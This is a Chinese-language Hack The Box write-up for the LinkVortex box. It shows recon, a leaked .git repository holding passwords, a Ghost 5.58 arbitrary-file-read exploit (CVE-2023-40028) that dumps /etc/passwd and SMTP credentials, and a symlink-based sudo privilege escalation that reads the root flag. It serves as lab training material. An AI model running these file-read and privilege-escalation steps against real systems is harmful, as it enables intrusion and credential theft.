# Hack The Box - LinkVortex Writeup
Writeup for the box LinkVortex in Hack The Box.
## Box Info
| OS | Difficulty |
| ----- | ---------- |
| Linux | Easy |
## Recon
### Nmap
Basic Scan:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ sudo nmap 10.10.11.47 -oA nmap/initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:14 CST
Nmap scan report for 10.10.11.47
Host is up (0.39s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.05 seconds
```
Default Script & Version Scan:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ sudo nmap 10.10.11.47 -sC -sV -oA nmap/linkvortex
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 18:15 CST
Nmap scan report for 10.10.11.47
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds
```
從掃描結果中可以看到網站的域名為 `linkvortex.htb`,而透過 `ffuf` 爆破後,找到了一個 VHost `dev.linkvortex.htb`。
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://linkvortex.htb/" -H "Host: FUZZ.linkvortex.htb" -ac | tee hosts
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 215ms]
```
將兩個域名都加到 hosts 中。
### Web Service - linkvortex.htb
打開網站後會看到下面的畫面:

從頁尾可以知道網站使用了 Ghost CMS,而透過 `Wappalyzer` 則可以知道 Ghost 版本為 5.58:


另外,點進網站上的文章可以知道網頁上有一個叫做 `admin` 的 user:

從[這篇文章](https://ghostseo.org/how-to-find-your-ghost-login-url/)中可以知道 Ghost 的登入頁面在 `/ghosts`:

如果我們有帳密,就可以登入進去看看有沒有什麼能利用的訊息。
### Web Service - dev.linkvortex.htb
網站看起來還在開發中,頁面上沒有什麼其他特別的內容:

目錄爆破後,可以看到存在 `.git` 資料夾,存在 Git 洩漏:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u "http://dev.linkvortex.htb/FUZZ" | tee dev_directories
<SNIP>
.git [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 200ms]
```
用 `GitHack` 將 `.git` 中的資料抓下來:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ python3 ~/Documents/tools/Git/GitHack/GitHack.py http://dev.linkvortex.htb/.git
<SNIP>
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ tree dev.linkvortex.htb
dev.linkvortex.htb
├── Dockerfile.ghost
└── ghost
└── core
└── test
└── regression
└── api
└── admin
└── authentication.test.js
7 directories, 2 files
```
## Shell as bob
### Git Leak
透過 `GitHack`,我們拿到了 `Dockerfile.ghost` 還有 `authentication.test.js` 兩個檔案。其中 `authentication.test.js` 裡面紀錄了幾個密碼:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex/dev.linkvortex.htb]
└─$ cat ghost/core/test/regression/api/admin/authentication.test.js | grep password
const password = 'OctopiFociPilfer45';
password,
await agent.loginAs(email, password);
password: 'thisissupersafe',
password: 'thisissupersafe',
const password = 'thisissupersafe';
password,
await cleanAgent.loginAs(email, password);
password: 'lel123456',
password: '12345678910',
password: '12345678910',
it('reset password', async function () {
password: ownerUser.get('password')
await agent.put('authentication/password_reset')
password_reset: [{
it('reset password: invalid token', async function () {
.put('authentication/password_reset')
password_reset: [{
it('reset password: expired token', async function () {
password: ownerUser.get('password')
.put('authentication/password_reset')
password_reset: [{
it('reset password: unmatched token', async function () {
password: 'invalid_password'
.put('authentication/password_reset')
password_reset: [{
it('reset password: generate reset token', async function () {
.post('authentication/password_reset')
password_reset: [{
describe('Reset all passwords', function () {
it('reset all passwords returns 204', async function () {
await agent.post('authentication/global_password_reset')
```
`Dockerfile.ghost` 則紀錄了 config file 的位置:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex/dev.linkvortex.htb]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
<SNIP>
```
### CVE-2023-40028
在網路上搜尋 Ghost 5.58 cve 之後,可以找到一個 [PoC](https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028),如果我們有一組帳號,我們就可以透過這個漏洞讀取系統上的文件。
從前面搜集到的資訊中,我們知道有一個使用者 `admin`,並且我們也搜集到了幾個密碼,猜測了一下帳密後會發現可以用 `admin@linkvortex.htb:OctopiFociPilfer45` 登入後台。

所以接下來就可以用這組帳號讀取系統上的檔案:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```
讀取 `Dockerfile.ghost` 中記錄的 config:
```bash
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
<SNIP>
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
```
可以看到 config 中紀錄了一組帳號,而透過這組帳號可以用 ssh 連上 server:
```bash
┌──(parallels㉿kali)-[~/Documents/Hack The Box/LinkVortex]
└─$ ssh bob@10.10.11.47
<SNIP>
bob@linkvortex:~$
```
### user.txt
```bash
bob@linkvortex:~$ cat user.txt
564ceb1f************************
```
## Shell as root
查看 `sudo` 權限:
```bash
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```
查看 `/opt/ghost/clean_symlink.sh`:
```bash
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
```
程式接收一個連結作為參數,而如果連結的 ext 是 `.png`,並且指向的檔案中不包含 `etc` 和 `root`,這個程式就會將符號連結移動到 `/var/quarantined` 中。另外,如果 `CHECK_CONTENT` 等於 true 的話,程式會嘗試將連結指向的檔案內容讀出來。
由於直接建立連結到 `/root/root.txt` 會被程式檢測出來,所以我們可以先建立一個連結指向 `root.txt`,再建立一個連結指向上一個連結來躲過檢測:
```bash
bob@linkvortex:~$ ln -s /root/root.txt flag.txt
bob@linkvortex:~$ ln -s /home/bob/flag.txt flag.png
```
### root.txt
```shell
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh flag.png
Link found [ flag.png ] , moving it to quarantine
Content:
0115ffd4************************
```